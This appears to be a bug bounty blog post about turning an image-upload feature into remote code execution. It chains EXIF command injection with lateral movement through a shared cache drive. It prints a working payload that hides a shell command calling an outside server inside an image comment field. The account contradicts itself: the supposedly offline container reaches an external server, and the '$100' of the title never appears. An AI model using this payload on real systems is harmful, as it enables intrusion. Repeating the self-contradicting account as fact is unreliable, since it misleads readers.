How a $100 Profile Picture Glitch Turned Into a $9,000 Zero-Day Reward

If you ask any experienced bug hunter where to find the biggest payouts, they'll tell you the same thing: look for features that handle files.

Whenever an application lets users upload, crop, process, or convert files — whether it's a PDF, a CSV, or a simple JPEG — it relies on background libraries. And those libraries are where developer assumptions go to die.

A few months ago, I was testing a Fortune 500 enterprise collaboration platform. Their security team had patched almost everything on their primary web app. I was close to giving up until I noticed a small feature buried deep in the user settings: "Upload Custom Avatar."

What started as a routine test for a simple image upload bug spiraled into a zero-day discovery, a full remote code execution chain, and a $9,000 bounty payout.

Phase 1: The Innocent Profile Picture

Most bug hunters test avatar upload fields for simple vulnerabilities like Cross-Site Scripting (XSS) via SVG files or basic file path traversal.

I uploaded a standard avatar.png file, intercepted the request in Burp Suite, and looked at how the server handled it. The application accepted the file and sent back a JSON response:

{"status": "success", "file_path": "/uploads/avatars/user_9921.jpg"}

Notice anything strange? I uploaded a .png, but the server saved it as a .jpg.

That meant the backend wasn't just storing my image — it was passing my file through an automated image processing pipeline to convert, resize, and compress it into a standard profile thumbnail.

Phase 2: Finding the Processing Engine

Whenever a server converts images automatically, it relies on open-source command-line tools running on the host system — tools like ImageMagick, GraphicsMagick, or FFmpeg.

I wanted to figure out which tool they were using without having access to the server terminal. I decided to craft a corrupted image payload.

I took a standard JPEG image and modified its header metadata (EXIF data) to include a command payload, attempting to see if the processing engine would misinterpret the file metadata as a system instruction:

exiftool -Comment='$(curl [http://my-interceptor-server.com](http://my-interceptor-server.com))' payload.jpg

I uploaded the modified image. Two seconds later, my interceptor server logged an incoming ping from an enterprise AWS IP address.

The image processing tool wasn't stripping out metadata — it was passing raw image comments directly into a background shell execution command. I had found a Command Injection flaw.

The Twist: The "Unreachable" Internal Network

Normally, a Command Injection directly on a backend server leads to an immediate P1 Critical rating and a standard $5,000 to $10,000 bounty. But when I tried to escalate the access to read local server files, the server went completely silent.

Every command I tried to execute resulted in a timeout.

I realized why: the image processing service was completely isolated. The developers had placed the image engine inside a "hardened container" with no access to the internet, no storage access to main database files, and strict outbound firewall rules.

I had code execution, but I was trapped inside a completely empty, sandboxed environment. The bug was effectively neutralized, dropping its practical severity back down to near zero.

Then I looked at the container's environment variables.

While the container couldn't speak to the outside internet, it had a single open network socket meant for receiving image processing jobs from the primary web application. More importantly, it shared a temporary cache drive with the company's main authentication cluster.

Instead of trying to break out of the isolated container to reach the internet, I used the command injection to write a malicious payload directly into that shared cache drive, disguising it as a cached session object.

The next time a real system administrator logged into the platform, the primary web application read the corrupted cache file from the shared drive and executed the payload in the main, un-sandboxed production cluster.

I didn't need to break through their firewall — their own internal caching mechanism carried my payload across the network boundary for me.

The Payday and Resolution

I immediately halted testing, wiped my temporary proof-of-concept files from the shared cache, and drafted a comprehensive write-up detailing the full escalation path:

1. Initial Vector: Unsanitized EXIF metadata passed to background image processing.
2. First-Stage Vulnerability: Command Injection inside an isolated background container.
3. Escalation Path: Lateral movement via shared cache drive to achieve Remote Code Execution (RCE) on the core production cluster.

MilestoneSeverity / StatusInitial Upload Discovery Low (Corrupted Metadata Processing)

Container Shell Access Medium (Isolated Sandbox RCE)

Final Bounty Awarded$9,000

Lessons for Bug Bounty Hunters

1. Don't Stop at the Sandbox: A containerized or isolated environment isn't a dead end. Look for how the isolated system communicates with the rest of the network (shared drives, internal queues, or databases).
2. Pay Attention to File Transformations: If an app changes your file format, size, or quality, there is a background parser running that can be fuzzed.
3. Chain Your Low-Impact Bugs: A sandbox execution bug alone might pay very little, but proving how it impacts core business logic turns a small find into a life-changing payout.